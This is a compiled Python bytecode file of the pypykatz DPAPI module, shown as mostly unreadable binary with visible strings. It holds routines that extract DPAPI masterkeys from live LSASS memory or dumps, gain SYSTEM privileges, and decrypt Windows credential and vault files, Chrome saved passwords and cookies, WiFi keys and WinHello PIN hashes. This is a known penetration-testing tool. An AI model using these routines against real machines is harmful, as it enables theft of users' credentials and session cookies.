o
    Žõ±jõ‹  ã                   @   s|  d dl Z d dlZd dlZd dlZd dlZd dlZd dlZd dlZd dlm	Z	m
Z
mZ d dlm  mZ d dlmZ d dlmZ d dlmZmZ d dlmZ d dlmZmZmZ d dlmZmZ d d	l m!Z! d d
l"m#Z$ d dl%m&Z&m'Z'm(Z( d dl)m*Z* d dl+m,Z,m-Z- d dl.m/Z/m0Z0 d dl1m2Z2 e 3¡  4¡ dkrŸd dl5m6Z6 	 G dd„ dƒZ7g ddfdd„Z8dd„ Z9e:dkr¼e9ƒ  dS dS )é    N)Úsha1Úpbkdf2_hmacÚsha512)Úlogger)ÚMasterKeyFile)ÚCredentialFileÚCREDENTIAL_BLOB)Ú
DPAPI_BLOB)Ú
VAULT_VCRDÚ
VAULT_VPOLÚVAULT_VPOL_KEYS)ÚNGCProtectorFinderÚNGCProtector)ÚCryptoKeysFinder)Úmd4)ÚAESÚMODE_GCMÚMODE_CBC)ÚPVKFile)ÚCryptoAPIKeyFileÚCryptoAPIKeyProperties)ÚUniversalEncoderÚbase64_decode_url)ÚPKCS1v15Úwindows)ÚProcessManipulatorc                   @   s
  e Zd Zdodd„Zdpdd„Zdd„ Zd	d
„ Zdpdd„Zdd„ Zdqdd„Z	dd„ Z
dd„ Zdpdd„Zdd„ Zdd„ Zdd„ Zdd„ Zdpdd „Zdrd"efd#d$„Zdpd%d&„Zd'd(„ Zd)d*„ Zdpd+d,„Zdsd-d.„Zdsd/d0„Zd1d2„ Zd3d4„ Zd5d6„ Zdpd7d8„Zd9d:„ Zdpd;d<„Zd=d>„ Z d?d@„ Z!e"dAdB„ ƒZ#e"dCdD„ ƒZ$e"dEdF„ ƒZ%e"dGdH„ ƒZ&e"dIdJ„ ƒZ'e"dKdL„ ƒZ(e"dMdN„ ƒZ)e"dOdP„ ƒZ*dQdR„ Z+dodSdT„Z,dUdV„ Z-e"dWdX„ ƒZ.e"dYdZ„ ƒZ/e"d[d\„ ƒZ0e"dtd^e1fd_d`„ƒZ2dadb„ Z3dcdd„ Z4dedf„ Z5e"dgdh„ ƒZ6didj„ Z7dkdl„ Z8dmdn„ Z9dS )uÚDPAPIFc                 C   s"   || _ i | _i | _i | _g | _d S ©N)Ú
use_winapiÚprekeysÚ
masterkeysÚ
backupkeysÚ
vault_keys)Úselfr   © r$   ú‡/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/pypykatz/dpapi/dpapi.pyÚ__init__i   s
   
zDPAPI.__init__Nc                 C   sv   |d u r| j D ]}t| ¡ ƒ qd S t|ddd��}| j D ]}| | ¡ d ¡ qW d   ƒ d S 1 s4w   Y  d S )NÚwÚ ©Únewlinez
)r   ÚprintÚhexÚopenÚwrite)r#   ÚfilenameÚxÚfr$   r$   r%   Údump_pre_keysu   s   
ÿ
ÿ"ÿzDPAPI.dump_pre_keysc              
   C   sœ   zt |dƒ W n ty$ } zt |¡}d| j|< W Y d }~d S d }~ww t |dƒ�}|D ]}| ¡ }d| jt |¡< q-W d   ƒ d S 1 sGw   Y  d S )NÚré   )r-   Ú	ExceptionÚbytesÚfromhexr   Ústrip)r#   r/   ÚeÚkeyr1   Úliner$   r$   r%   Úload_prekeys~   s   

€ýþ"ÿzDPAPI.load_prekeysc                 C   s`   ddl m} t|dƒ�}| ¡ d d… }W d   ƒ n1 sw   Y  ||d�}td| ƒ d S )Nr   )ÚUUIDÚrbé   )Úbytes_lez	[GUID] %s)Úuuidr=   r-   Úreadr+   )r#   r/   r=   r1   ÚbÚguidr$   r$   r%   Údump_preferred_masterkey_guid‹   s   ÿ
z#DPAPI.dump_preferred_masterkey_guidc              	   C   s²   |d u r,| j D ]}td|| j |  ¡ f ƒ q| jD ]}td|| j|  ¡ f ƒ qd S t|ddd��}| j | jdœ}| tj|tddd	�¡ W d   ƒ d S 1 sRw   Y  d S )
Nz[GUID] %s [MASTERKEY] %sz[GUID] %s [BACKUPKEY] %sr'   r(   r)   )r    r!   é   T)ÚclsÚindentÚ	sort_keys)	r    r+   r,   r!   r-   r.   ÚjsonÚdumpsr   )r#   r/   r0   r1   Útr$   r$   r%   Údump_masterkeys”   s   

ÿ"þzDPAPI.dump_masterkeysc                 C   sˆ   t |dƒ�}t | ¡ ¡}W d   ƒ n1 sw   Y  |d D ]}t |d | ¡| j|< q |d D ]}t |d | ¡| j|< q3d S )Nr3   r!   r    )r-   rJ   ÚloadsrB   r6   r7   r!   r    )r#   r/   r1   ÚdatarD   r$   r$   r%   Úload_masterkeysŸ   s   ÿÿzDPAPI.load_masterkeysc              
   C   sŒ  |du r|du r|du rt dƒ‚|du r,|r t|tƒr t |¡}|r,t|tƒr,t |¡}d } } }}|s:|dkrNt| d¡ƒ}	|	 ¡ }t| d¡ƒ ¡ }|r`t	 
||d  d¡t¡ ¡ }|}|ršt	 
||d  d¡t¡ ¡ }td|| d¡dƒ}
td|
| d¡dƒdd	… }t	 
||d  d¡t¡ ¡ dd
… }d}||||fD ]}|dur»d| j|< t d||||| ¡ f ¡ |d7 }q¢||||fS )a¼  
		Creates pre-masterkeys from user SID and password of nt hash.
		If NT hash is provided the function can only generate 2 out of the 3 possible keys, 
		this is because one of the derived keys relies ion the SHA1 hash of the user password
		
		sid: user's SID as a string
		password: user's password. optional. if not provided, then NT hash must be provided
		nt_hash: user's NT hash. optional if not provided, the password must be provided
		Nz.Provide either password, NT hash or SHA1 hash!r(   zutf-16leú Úsha256i'  r4   r?   é   zPrekey_%d %s %s %s %s)r5   Ú
isinstanceÚstrr6   r7   ÚMD4ÚencodeÚdigestr   ÚhmacÚnewr   r   r   Údebugr,   )r#   ÚsidÚpasswordÚnt_hashÚ	sha1_hashÚkey1Úkey2Úkey3Úkey4ÚctxÚtmp_keyÚ	tmp_key_2Úcountr:   r$   r$   r%   Úget_prekeys_from_passwordª   s6   


$

zDPAPI.get_prekeys_from_passwordc                 C   s  g }g }ddl m} ddlm} |jrI|jjD ]1}t|||fƒrHt d|j ¡ t d|j	 ¡ d| j
|j< | |j¡ d| j
|j	< | |j	¡ q|jdur‚|jjD ]/}|jr�d|jj|jf }| j||jd�\}}	}
}t d	||	|
f ¡ | |	¡ | |
¡ qRqR||fS )
a  
		Gets the pre-keys from an already parsed OffineRegistry or LiveRegistry object, populates the userkey/machinekey lists, returns the obtained keys
		
		lr: OffineRegistry or LiveRegistry object
		return: touple of two lists, [0] userkeys [1] machinekeys
		r   )ÚLSASecretDPAPIz1[DPAPI] Found DPAPI user key in registry! Key: %sz4[DPAPI] Found DPAPI machine key in registry! Key: %sr4   Nz%s-%s)r^   zJ[DPAPI] NT hash method. Calculated user key for user %s! Key2: %s Key3: %s)Ú!pypykatz.registry.security.commonri   Ú"pypykatz.registry.security.acommonÚsecurityÚcached_secretsrT   r   r[   Úuser_keyÚmachine_keyr   ÚappendÚsamÚsecretsr^   Úmachine_sidÚridrh   )r#   ÚlrÚuserÚmachineri   ÚALSASecretDPAPIÚsecretr\   r0   ra   rb   Úyr$   r$   r%   Úget_registry_secrets×   s2   €


úzDPAPI.get_registry_secretsc                 C   s®   ddl m} ddlm} d}z| ¡ }W n5 tyI } z)t d¡ z| ¡ }W n ty> } zt d¡ W Y d}~nd}~ww W Y d}~nd}~ww |durS|  	|¡S tdƒ‚)úB
		
		return: touple of two lists, [0] userkeys [1] machinekeys
		r   )ÚLiveRegistry©ÚOffineRegistryNzL[DPAPI] Failed to obtain registry secrets via direct registry reading methodz=[DPAPI] Failed to obtain registry secrets via filedump methodzRegistry parsing failed!)
Úpypykatz.registry.live_parserr}   Ú pypykatz.registry.offline_parserr   Úgo_liver5   r   r[   Úfrom_live_systemr{   )r#   r}   r   ru   r9   r$   r$   r%   Úget_prekeys_form_registry_liveù   s$   
€ÿ€ü
z$DPAPI.get_prekeys_form_registry_livec              
   C   sr   ddl m} d}z
|j|||d�}W n ty+ } zt d| ¡ W Y d}~nd}~ww |dur5|  |¡S tdƒ‚)r|   r   r~   N)Úsam_pathÚsecurity_pathzX[DPAPI] Failed to obtain registry secrets via direct registry reading method. Reason: %sz [DPAPI] Registry parsing failed!)r�   r   Ú
from_filesr5   r   Úerrorr{   )r#   Úsystem_pathr†   r…   r   ru   r9   r$   r$   r%   Úget_prekeys_form_registry_files  s   €ÿ
z%DPAPI.get_prekeys_form_registry_filesc                    s  ddl m} | ¡ ‰ ‡ fdd„ˆ jD ƒ}ˆ jD ]t}ˆ j| jD ]}t d|j ¡ t 	|j
¡| j|j< qˆ j|  ¡ D ]O\
}}}}}}	}}}}
| ¡ dkrNq;ˆ j| jg}|D ] }|
dure| j||
dd� |durwt|ƒd	krw| j|d|d� qW|	durŠt|	ƒd
krŠd| jt 	|	¡< q;qdS )zÝ
		Parses the live LSASS process and extracts the plaintext masterkeys, and also generates prekeys from all available credentials
		It does not retun anything, just sets up all key material in the object
		return: None
		r   ©Úpypykatzc                    s   g | ]}ˆ j | j‘qS r$   )Úlogon_sessionsr\   )Ú.0r0   ©Úkatzr$   r%   Ú
<listcomp>*  s    z6DPAPI.get_all_keys_from_lsass_live.<locals>.<listcomp>ú7[DPAPI] Got masterkey for GUID %s via live LSASS methodÚdpapiN©r]   r^   é    é(   r4   )Úpypykatz.pypykatzrŒ   r‚   r�   Údpapi_credsr   r[   Úkey_guidr6   r7   Ú	masterkeyr    Úto_grep_rowsÚlowerr\   rh   Úlenr   )r#   rŒ   Úsidsr0   ÚdcÚpackageÚ_ÚnthexÚlmhexÚshahexÚ	plaintextr\   r$   r�   r%   Úget_all_keys_from_lsass_live"  s,   
&€€ôûz"DPAPI.get_all_keys_from_lsass_livec                 C   s\   ddl m} | ¡ }|jD ]}|j| jD ]}t d|j ¡ t 	|j
¡| j|j< qq| jS )zs
		Parses the live LSASS process and extracts the plaintext masterkeys
		
		return: dictionary of guid->keybytes
		r   r‹   r’   )r—   rŒ   r‚   r�   r˜   r   r[   r™   r6   r7   rš   r    )r#   rŒ   r�   r0   rŸ   r$   r$   r%   Úget_masterkeys_from_lsass_live>  s   
þz$DPAPI.get_masterkeys_from_lsass_livec                 C   s  ddl m} | |¡}|jD ]}|j| jD ]}t d|j ¡ t 	|j
¡| j|j< qq|j|  ¡ D ]O\
}}}}}	}
}}}}| ¡ dkrFq3|j| jg}|D ] }|dur]| j||dd� |durot|ƒdkro| j|d|d� qO|
dur‚t|
ƒdkr‚d	| jt 	|
¡< q3| jS )
z©
		Parses the mindiump of an LSASS process file and extracts the plaintext masterkeys
		
		file_path: path to the mindiump file
		return: dictionary of guid->keybytes
		r   r‹   z;[DPAPI] Got masterkey for GUID %s via minidump LSASS methodr“   Nr”   r•   r–   r4   )r—   rŒ   Úparse_minidump_filer�   r˜   r   r[   r™   r6   r7   rš   r    r›   rœ   r\   rh   r�   r   )r#   Ú	file_pathrŒ   r�   r0   rŸ   r    r¡   r¢   r£   r¤   r¥   rž   r\   r$   r$   r%   Úget_masterkeys_from_lsass_dumpM  s*   

þ&€€z$DPAPI.get_masterkeys_from_lsass_dumpc           
      C   sˆ   t |dƒ�}| ¡ }W d  ƒ n1 sw   Y  t |¡}|jj}t |¡ ¡ }| 	|ddd… t
ƒ ¡}|dd… }	|	| j|j< | jS )zM
		Decrypting the masterkeyfile using the domain backup key in .pvk format
		r>   Néÿÿÿÿé   éH   )r-   rB   r   Ú
from_bytesÚ	domainkeyry   r   Ú	from_fileÚget_keyÚdecryptr   r    rD   )
r#   ÚmkffileÚpvkfileÚfprO   ÚmkfÚdkÚprivkeyÚdecdkry   r$   r$   r%   Údecrypt_masterkey_file_with_pvkk  s   
ÿ
z%DPAPI.decrypt_masterkey_file_with_pvkc                 C   sd   t |dƒ�#}| j| ¡ |d�\}}| j |¡ | j |¡ ||fW  d  ƒ S 1 s+w   Y  dS )zÝ
		Decrypts Masterkeyfile
		file_path: path to Masterkeyfile
		key: raw bytes of the decryption key. If not supplied the function will look for keys already cached in the DPAPI object.
		returns: CREDENTIAL_BLOB object
		r>   )r:   N)r-   Údecrypt_masterkey_bytesrB   r    Úupdate)r#   r©   r:   r1   ÚmksÚbksr$   r$   r%   Údecrypt_masterkey_filey  s   $üzDPAPI.decrypt_masterkey_fileTÚignore_errorsc                 C   s‚   t j tj |d¡dd�D ]1}tj |¡r=z|  |¡ W q ty< } z|du r)|‚t d||f ¡ W Y d}~qd}~ww q| j	S )zÝ
		Decrypts all Masterkeyfiles in a directory
		directory: path to directory
		ignore_errors: if set to True, the function will not raise exceptions if a file cannot be decrypted
		returns: dictionary of guid->keybytes
		ú**T©Ú	recursiveFzFailed to decrypt %s Reason: %sN)
ÚglobÚosÚpathÚjoinÚisfiler¿   r5   r   r[   r    )r#   Ú	directoryrÀ   r/   r9   r$   r$   r%   Údecrypt_masterkey_directory†  s   €ýýz!DPAPI.decrypt_masterkey_directoryc                 C   sN  t  |¡}i }i }|jdurY|j| jv r| j|j ||j< n;| jD ] }|j |¡}|rAt d| 	¡  ¡ || j|j< |||j<  nq!|durY|j |¡}|rY|| j|j< |||j< |j
dur£|j| jv rq| j|j ||j< ||fS | jD ]}|j
 |¡}|r‹|| j|j< |||j<  nqt|dur£|j
 |¡}|r£|| j|j< |||j< ||fS )zÝ
		Decrypts Masterkeyfile bytes
		data: bytearray of the masterkeyfile
		key: bytes describing the key used for decryption
		returns: touple of dictionaries. [0] - > masterkey[guid] = key, [1] - > backupkey[guid] = key
		Nzuser key win: %s)r   r®   rš   rD   r    r   r²   r   r[   r,   Ú	backupkeyr!   )r#   rO   r:   r¶   r½   r¾   rn   Údec_keyr$   r$   r%   r»   —  sH   



ü


ó
ý
zDPAPI.decrypt_masterkey_bytesc                 C   ó<   t |dƒ�}|  | ¡ ¡W  d  ƒ S 1 sw   Y  dS )zc
		Decrypts CredentialFile
		file_path: path to CredentialFile
		returns: CREDENTIAL_BLOB object
		r>   N)r-   Údecrypt_credential_bytesrB   ©r#   r©   r1   r$   r$   r%   Údecrypt_credential_fileÈ  s   $ÿzDPAPI.decrypt_credential_filec                 C   s    |j | jvr
tdƒ‚| j|j  S )z{
		Looks up the masterkey for a given DPAPI_BLOB object
		blob: DPAPI_BLOB object
		returns: bytes of the decryption key
		z-No matching masterkey was found for the blob!)Úmasterkey_guidr    r5   )r#   Úblobr$   r$   r%   Úget_key_for_blobÑ  s   zDPAPI.get_key_for_blobc                 C   s(   t  |¡}| j|j|d�}t |¡}|S )ad  
		Decrypts CredentialFile bytes
		CredentialFile holds one DPAPI blob, so the decryption is straightforward, and it also has a known structure for the cleartext.
		Pay attention that the resulting CREDENTIAL_BLOB strucutre's fields can hold the secrets in wierd filenames like "unknown"
		
		data: CredentialFile bytes
		returns: CREDENTIAL_BLOB object
		©Úentropy)r   r®   Údecrypt_blob_bytesrO   r   )r#   rO   rÕ   ÚcredÚdec_dataÚcbr$   r$   r%   rÎ   Û  s   
	
zDPAPI.decrypt_credential_bytesc                 C   sL   |du rt  d|j ¡ |j| jvrtd|j ƒ‚| j|j }|j||d�S )a”  
		Decrypts a DPAPI_BLOB object
		The DPAPI blob has a GUID attributes which indicates the masterkey to be used, also it has integrity check bytes so it is possible to tell is decryption was sucsessfull.
		
		dpapi_blob: DPAPI_BLOB object
		key: raw bytes of the decryption key. If not supplied the function will look for keys already cached in the DPAPI object.
		returns: bytes of the cleartext data
		Nz+[DPAPI] Looking for master key with GUID %szANo matching masterkey was found for the blob! Looking for GUID %srÔ   )r   r[   rÑ   r    r5   r²   )r#   Ú
dpapi_blobr:   rÕ   r$   r$   r%   Údecrypt_blobé  s   	zDPAPI.decrypt_blobc                 C   sF   | j du rddlm} ||ƒS t |¡}t t|ƒ¡ | j|||d�S )zc
		Decrypts DPAPI_BLOB bytes.
		
		data: DPAPI_BLOB bytes
		returns: bytes of the cleartext data
		Tr   )ÚCryptUnprotectData)r:   rÕ   )	r   Ú!pypykatz.dpapi.functiondefs.dpapirÜ   r	   r®   r   r[   rU   rÛ   )r#   rO   r:   rÕ   rÜ   rÒ   r$   r$   r%   rÖ   ù  s   

zDPAPI.decrypt_blob_bytesc                 C   rÍ   )zÍ
		Decrypts a VCRD file
		Location: %APPDATA%\Local\Microsoft\Vault\%GUID%\<>.vcrd
		
		file_path: path to the vcrd file
		returns: dictionary of attrbitues as key, and a list of possible decrypted data
		r>   N)r-   Údecrypt_vcrd_bytesrB   rÏ   r$   r$   r%   Údecrypt_vcrd_file  s   $ÿzDPAPI.decrypt_vcrd_filec                 C   ó   t  |¡}|  |¡S )zŒ
		Decrypts VCRD file bytes.
		
		data: VCRD file bytes
		returns: dictionary of attrbitues as key, and a list of possible decrypted data
		)r
   r®   Údecrypt_vcrd)r#   rO   Úvvr$   r$   r%   rÞ     s   

zDPAPI.decrypt_vcrd_bytesc                 C   sX   dd„ }i }t | jƒD ]\}}|jD ]}|||ƒ}||vr!g ||< ||  |¡ qq|S )aø  
		Decrypts the attributes found in a VCRD object, and returns the cleartext data candidates
		A VCRD file can have a lot of stored credentials inside, most of them with custom data strucutre
		It is not possible to tell if the decryption was sucsesssfull, so treat the result accordingly
		
		vcrd: VAULT_VCRD object
		key: bytes of the decryption key. optional. If not supplied the function will look for stored keys.
		returns: dictionary of attrbitues as key, and a list of possible decrypted data
		c                 S   sD   | j d ur | jd urt|t| jƒ}nt|tdƒ}| | j ¡}|S d S )Ns                   )rO   Úivr   r   r²   )Úattrr:   ÚcipherÚ	cleartextr$   r$   r%   Údecrypt_attr(  s   

ùz(DPAPI.decrypt_vcrd.<locals>.decrypt_attr)Ú	enumerater"   Ú
attributesrp   )r#   Úvcrdrç   ÚresÚir:   rä   ræ   r$   r$   r%   rá     s   


üzDPAPI.decrypt_vcrdc                 C   s\   t  |¡}| j|j|d�}t |¡}| j |j ¡ ¡ | j |j	 ¡ ¡ |j ¡ |j	 ¡ fS )z¸
		Decrypts the VPOL file, and returns the two keys' bytes
		A VPOL file stores two encryption keys.
		
		data: bytes of the VPOL file
		returns touple of bytes, describing two keys
		rÔ   )
r   r®   rÖ   Úblobdatar   r"   rp   r`   r±   ra   )r#   rO   rÕ   Úvpolrë   Úkeysr$   r$   r%   Údecrypt_vpol_bytes;  s   

zDPAPI.decrypt_vpol_bytesc                 C   rÍ   )z½
		Decrypts a VPOL file
		Location: %APPDATA%\Local\Microsoft\Vault\%GUID%\<>.vpol
		
		file_path: path to the vcrd file
		keys: Optional.
		returns: touple of bytes, describing two keys
		r>   N)r-   rð   rB   rÏ   r$   r$   r%   Údecrypt_vpol_fileM  s   	$ÿzDPAPI.decrypt_vpol_filec                 C   s   | j ||d�S )NrÔ   )rÖ   )r#   rO   rÕ   r$   r$   r%   Údecrypt_securestring_bytesY  s   z DPAPI.decrypt_securestring_bytesc                 C   s   |   t |¡¡S r   )rò   r6   r7   )r#   Úhex_strr$   r$   r%   Údecrypt_securestring_hex\  s   zDPAPI.decrypt_securestring_hexc                 C   s<   t |dƒ�}| ¡ }W d   ƒ n1 sw   Y  |  |¡S )Nr3   )r-   rB   rô   )r#   r©   r1   rO   r$   r$   r%   Údecrypt_securestring_file_  s   
ÿ
zDPAPI.decrypt_securestring_filec                  C   s   t  ¡ } t  ¡ }t  || ¡S r   )r   Úget_windows_dir_liveÚget_users_dir_liveÚfind_masterkey_files_offline)Úwindows_locÚuser_folderr$   r$   r%   Úfind_masterkey_files_livee  s   zDPAPI.find_masterkey_files_livec                    sø   ‡ fdd„}i }t j tj |dddd¡dd�D ]‰ |ˆ ƒdu r-t d	ˆ  ¡ ˆ |t ˆ ¡< qi }t j tj | d
¡dd�D ]‰ tj ˆ ¡rHd|ˆ < q<dD ].}|D ])}t j tj |d|ddd¡dd�D ]‰ |ˆ ƒdu rwˆ |t ˆ ¡< t dˆ  ¡ qaqOqK|S )Nc                    sV   t j ˆ ¡du r)t ˆ ¡}| d¡dkrdS zt | dd¡¡ W dS    Y dS dS )NTú-r«   Fr(   )	rÅ   rÆ   rÈ   ÚntpathÚbasenameÚfindr6   r7   Úreplace)ÚfnameÚbase©r/   r$   r%   Úis_guidn  s   
þz3DPAPI.find_masterkey_files_offline.<locals>.is_guidÚSystem32Ú	MicrosoftÚProtectrÁ   TrÂ   zGUID SYSTEM FILE: %sÚ*Fr4   ©ÚLocalÚRoamingÚLocalLowÚAppDatazGUID USER FILE: %s)	rÄ   rÅ   rÆ   rÇ   r   r[   rý   rþ   Úisdir)Ú
users_pathÚwindows_pathr  Úmasterkey_filesÚuser_foldersÚ	subfolderrú   r$   r  r%   rø   l  s,   "€€$€ýÿz"DPAPI.find_masterkey_files_offlinec                  C   s6   t j d¡} t j d¡}t j d¡} |d t| ƒ … S )NÚUSERNAMEÚUSERPROFILE)rÅ   ÚenvironÚgetr�   )ÚusernameÚuserprofile_locr$   r$   r%   r÷   Ž  s   zDPAPI.get_users_dir_livec                   C   s   t j d¡S )NÚ
SystemRoot©rÅ   r  r  r$   r$   r$   r%   rö   •  s   zDPAPI.get_windows_dir_livec                   C   s   t j d¡d S )NÚSystemDriver   r  r$   r$   r$   r%   Úget_windows_drive_live™  s   zDPAPI.get_windows_drive_livec                   C   ó   t  t  ¡ ¡S r   )r   Ú!find_chrome_database_file_offliner÷   r$   r$   r$   r%   Úfind_chrome_database_file_live�  ó   z$DPAPI.find_chrome_database_file_livec                 C   sd  i }i }t j tj | d¡dd�D ]}tj |¡r,t |¡}||vr%g ||< ||  |¡ qdD ]€}dD ]{}|D ]v}||vrAi ||< || D ]g}tj |d||ddd	d
¡}tj |¡du ri||| d< t	 
d| ¡ tj |d||ddd	d¡}	tj |	¡du r‹|	|| d< t	 
d|	 ¡ tj |d||ddd¡}
tj |
¡du r¬|
|| d< t	 
d|
 ¡ qEq7q3q/|S )Nr  FrÂ   r	  )r(   ÚGoogler  ÚChromez	User DataÚDefaultz
Login DataTÚ	logindatazCHROME LOGINS DB FILE: %sÚCookiesÚcookieszCHROME COOKIES DB FILE: %szLocal StateÚ
localstatezCHROME localstate FILE: %s)rÄ   rÅ   rÆ   rÇ   r  rý   rþ   rp   rÈ   r   r[   )r  Údb_pathsr  r/   r  Úsubfolder_1Úsubfolder_2rú   Údb_pathÚdb_cookies_pathÚlocalstate_pathr$   r$   r%   r  ¡  s@   
€€òýÿz'DPAPI.find_chrome_database_file_offlinec              
   C   sr  i }g |d< g |d< g |d< zt  | ¡}| ¡ }W n ty4 } zt d|  ¡ |W  Y d }~S d }~ww | ¡ dkrxz| d¡ W n ty_ } zt d| |f ¡ |W  Y d }~S d }~ww | ¡ D ]\}}}}	|d  	||||	f¡ qd|S | ¡ dkr·z| d¡ W n ty¢ } zt d| |f ¡ |W  Y d }~S d }~ww | ¡ D ]\}
}}|d  	|
||f¡ q§|S )	NÚloginsr'  r(  z Failed to open chrome DB file %sz9SELECT host_key, name, path, encrypted_value FROM cookiesz4Failed perform query on chrome DB file %s Reason: %sr%  z=SELECT action_url, username_value, password_value FROM logins)
Úsqlite3ÚconnectÚcursorr5   r   r[   rœ   ÚexecuteÚfetchallrp   )r,  ÚdbtypeÚresultsÚconnr2  r9   Úhost_keyÚnamerÆ   Úencrypted_valueÚurlrv   Úenc_pwr$   r$   r%   Úget_chrome_encrypted_secretÄ  sD   
€þ€þô€þz!DPAPI.get_chrome_encrypted_secretc                 C   s   t  ¡ }|  |¡S r   )r   r   Údecrypt_all_chrome)r#   Údbpathsr$   r$   r%   Údecrypt_all_chrome_liveë  s   
zDPAPI.decrypt_all_chrome_livec              
   C   s–  i }g |d< g |d< g |d< d }|D �]5}d|| v r[t || d dƒ�}t |¡d d }t |¡}W d   ƒ n1 s=w   Y  z|  |dd … ¡}W n   |d	u rYtd
ƒ‚Y qd|| v rât || d d¡}|d D ]r\}	}
}}| 	d¡r»|dd… }|dd… }|dd … }t
|t|dd�}| |d|¡}|d  || d |	|
||f¡ |d  t d|	 |
||¡¡ qo|rá|  |¡}|d  || d |	|
||f¡ |d  t d|	 |
||¡¡ qod|| v �rHt || d d¡}|d D ]P\}}}| 	d¡�r3|dd… }|dd… }|dd … }t
|t|dd�}| |d|¡}|d  || d |||f¡ q÷|  |¡}|d  || d |||f¡ q÷q|S )Nr/  r'  Ú
fmtcookiesr(  r3   Úos_cryptÚencrypted_keyé   TzLocalState decryption failed!s   v10é   é   iðÿÿÿr?   )ÚIVÚsegment_sizeó    zhttps://r%  )r-   rJ   ÚloadÚbase64Ú	b64decoderÖ   r5   r   r=  Ú
startswithr   r   r²   rp   Úcookieformatter)r#   r?  Úthrowr6  Úlocalstate_decr  r1   rC  rr   r8  r9  rÆ   r:  ÚnonceÚ
ciphertextÚtagrå   Údec_valr;  rv   Úenc_passwordr]   r$   r$   r%   r>  ð  s^   
þ
  
 € 
 €zDPAPI.decrypt_all_chromec              
   C   sè   z|   ¡  W n	   t d¡ Y z|  ¡  W n ty- } zt d¡ W Y d }~nd }~ww t ¡ }|D ]9}t d||| f ¡ |  || ¡\}}t|ƒdksVt|ƒdkrbt d||| f ¡ q4t d||| f ¡ q4| j	| j
fS )Nz,Failed to get masterkeys/prekeys from LSASS!z/Failed to get masterkeys/prekeys from registry!z3Decrypting masterkeyfile with guid: %s location: %sr   z2Decrypted masterkeyfile with guid: %s location: %sz:Failed to decrypt masterkeyfile with guid: %s location: %s)r¦   r   r[   r„   r5   r   rû   r¿   r�   r    r!   )r#   r9   ÚmkfilesrD   ÚmkÚbkr$   r$   r%   Úget_all_masterkeys_live%  s$   €ÿzDPAPI.get_all_masterkeys_livec                 C   sl   i }t  | ¡}| ¡ }|D ]&}|j d¡r|j|d< q|j d¡r3| ¡ D ]}|j d¡r2|j|d< q%q|S )Nz}namer9  z}MSMz}keyMaterialÚenckey)ÚETÚparseÚgetrootrS  ÚendswithÚtextÚiter)ÚfilepathÚwifiÚtreeÚrootÚchildÚpcr$   r$   r%   Úparse_wifi_config_file;  s   

€zDPAPI.parse_wifi_config_filec                 C   s>   g }t j | d dd�D ]}| d¡rt |¡}| |¡ q|S )Nz6:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\**TrÂ   z.xml)rÄ   r^  r   rg  rp   )Úsystem_drive_letterÚwifisr/   rb  r$   r$   r%   Úget_all_wifi_settings_offlineJ  s   


€z#DPAPI.get_all_wifi_settings_offlinec                   C   r  r   )r   rj  r  r$   r$   r$   r%   Úget_all_wifi_settings_liveS  r!  z DPAPI.get_all_wifi_settings_liveé   r]   c                 C   sL   |du rdn|}|dkr|t |  d¡ƒ ¡ 7 }|S |t|  d¡ƒ ¡ 7 }|S )zaThis function generates the "extra" entropy based on the password and the provided entropy (opt).NrI  rl  z	utf-16-le)r   rW   rX   r   )r]   rÕ   Údtyperë   r$   r$   r%   ÚstrongentropyW  s   ÿzDPAPI.strongentropyc              
   c   sn   � t ƒ }z-z| ¡  W n ty } ztd| ƒ‚d }~ww t ¡ D ]}|  |¡V  q"W | ¡  d S | ¡  w )Nz<Failed to obtain SYSTEM privileges! Are you admin? Error: %s)r   Ú	getsystemr5   r   rk  Údecrypt_wifi_config_file_innerÚ
dropsystem)r#   Úpmr9   Ú
wificonfigr$   r$   r%   Údecrypt_wifi_liveb  s   €€ÿÿzDPAPI.decrypt_wifi_livec                 C   s2   d|v r|d dkr|   |d ¡|d< |S d S d S )NrZ  r(   r:   )rô   )r#   rs  r$   r$   r%   rp  q  s   þz$DPAPI.decrypt_wifi_config_file_innerc                 C   rà   r   )r   rg  rp  )r#   Ú
configfilers  r$   r$   r%   Údecrypt_wifi_config_filev  s   

zDPAPI.decrypt_wifi_config_filec                 C   s"   | |||dddddddddddœS )	zRThis is the data format the 'Cookie Quick Manager' uses to load cookies in FireFoxz26-05-2022 21:06:29Ú
1653591989zAny type of connectionFÚlaxzfirefox-defaultr(   )zHost rawzName rawzPath rawzContent rawÚExpireszExpires rawzSend forzSend for rawzHTTP only rawzSameSite rawzThis domain onlyzThis domain only rawz	Store rawzFirst Party Domainr$   )Úhostr9  rÆ   Úcontentr$   r$   r%   rN  z  s   òzDPAPI.cookieformatterc                 C   s,   t |dd�}|dd … }t |¡}|  |¡S )NT)Úbytes_expectedr¬   )r   r	   r®   rÛ   )r#   Úkeyvalue_url_b64ÚkeyvalueÚkey_blobr$   r$   r%   Údecrypt_cloudap_keyŽ  s   

zDPAPI.decrypt_cloudap_keyc                 C   s:   t  |¡}| di ¡ d¡}|d u rtdƒ‚|  |¡}|S )NÚProofOfPossesionKeyÚKeyValuezKeyValue not found in PRT)rJ   rN   r  r5   r€  )r#   ÚPRTÚprt_jsonr~  Úkeyvalue_decr$   r$   r%   Údecrypt_cloudapkd_prt”  s   

zDPAPI.decrypt_cloudapkd_prtc                 C   sô   g }g }t  |¡D ]}| |j¡ q	t |¡D ]`}|j|v rwtd|j› �ƒ | j|jd dd�}t	 
|¡}t 
|jd ¡}|d j}	|d j}
d}d	|
› d
|	 ¡ › d
|j ¡ › d
|  |¡ ¡ › d
|j ¡ › d
|j ¡ › d
| ¡ › �}| |¡ q|S )zVThis function presupposes that the DPAPI object already has all necessary keys loaded.zFound matching GUID: r4   s   6jnkd5J3ZdQDtrsu rÔ   rl  ÚNgcSoftwareKeyPbkdf2SaltÚNgcSoftwareKeyPbkdf2Rounds   xT5rZW5qVVbrvpuA z$WINHELLO$*SHA512*r  )r   Úfrom_dirrp   rD   r   Údescriptionr+   rÖ   Úfieldsr   r®   r	   Úvaluer,   Ú	signaturerÓ   ÚHMACÚto_sign)r#   Úngc_dirÚcryptokeys_dirr6  Ú	pin_guidsÚentryÚproperties_rawÚ
propertiesrÒ   ÚsaltÚ
iterationsrÕ   Úhashcat_formatr$   r$   r%   Úwinhello_pin_hash_offline�  s"   



R
€zDPAPI.winhello_pin_hash_offline)Fr   )NNN)T)NN)Nrl  ):Ú__name__Ú
